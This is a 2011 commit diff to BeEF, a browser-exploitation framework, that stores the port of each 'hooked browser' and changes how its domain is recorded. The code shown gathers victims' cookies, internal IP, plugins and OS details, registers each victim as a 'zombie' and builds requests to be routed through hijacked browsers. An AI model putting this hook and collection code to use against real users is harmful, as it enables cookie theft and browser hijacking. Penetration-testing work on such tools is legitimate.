Storing port of HookedBrowser, fixing value of HookedBrowser.domain

git-svn-id: https://beef.googlecode.com/svn/trunk@1365 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
buherator@gmail.com
2011-10-15 22:04:08 +00:00
parent 7447015901
commit ed866886f7
5 changed files with 21 additions and 10 deletions

View File

@@ -628,7 +628,7 @@ beef.browser = {
if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
if(cookies) details["Cookies"] = cookies;
if(page_title) details["PageTitle"] = page_title;
if(hostname) details["HostName"] = hostname;
if(hostname) details["HostName"] = hostname+":"+document.location.port;
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
if(os_name) details['OsName'] = os_name;
if(internal_ip) details['InternalIP'] = internal_ip;

View File

@@ -33,6 +33,7 @@ module Models
property :httpheaders, Text, :lazy => false
# @note the domain originating the hook request
property :domain, Text, :lazy => false
property :port, Integer, :default => 80
property :count, Integer, :lazy => false
property :has_init, Boolean, :default => false
property :is_proxy, Boolean, :default => false

View File

@@ -93,6 +93,7 @@ class Panel < BeEF::Extension::AdminUI::HttpController
'session' => hooked_browser.session,
'ip' => hooked_browser.ip,
'domain' => domain,
'port' => hooked_browser.port,
'browser_icon' => browser_icon,
'os_icon' => os_icon
}
@@ -103,4 +104,4 @@ end
end
end
end
end
end

View File

@@ -213,7 +213,7 @@ ZombieTab_Requester = function(zombie) {
if(!value) {
if (zombie.domain) {
value = "GET /demos/secret_page.html HTTP/1.1\n";
value += "Host: "+zombie.domain+":3000\n";
value += "Host: "+zombie.domain+":"+zombie.port+"\n";
} else value = "GET / HTTP/1.1\nHost: \n";
}

View File

@@ -45,21 +45,30 @@ module Initialization
zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].peeraddr[3], :session => session_id)
zombie.firstseen = Time.new.to_i
# set the zombie hooked domain. Uses the origin header, or the host header if the origin is not present (same-domain)
if @data['request'].header['origin'].nil? or @data['request'].header['origin'].empty?
log_zombie_domain = @data['request'].header['host'].first
if not @data['results']['HostName'].nil? then
log_zombie_domain=@data['results']['HostName']
elsif (not @data['request'].header['referer'].nil?) and (not @data['request'].header['referer'].empty?)
log_zombie_domain=@data['request'].header['referer'][0].gsub('http://','').gsub('https://','').split('/')[0]
else
log_zombie_domain = @data['request'].header['origin'].first
log_zombie_domain="unknown" # Probably local file open
end
log_zombie_domain.gsub!('http://', '')
log_zombie_domain.gsub!('https://', '')
log_zombie_domain_parts=log_zombie_domain.split(':')
log_zombie_domain=log_zombie_domain_parts[0]
log_zombie_port=80
if log_zombie_domain_parts.length > 1 then
log_zombie_port=log_zombie_domain_parts[1].to_i
end
zombie.domain = log_zombie_domain
zombie.port = log_zombie_port
zombie.httpheaders = @data['request'].header.to_json
zombie.save # the save needs to be conducted before any hooked browser specific logging
# add a log entry for the newly hooked browser
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}")
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
# get and store browser name
begin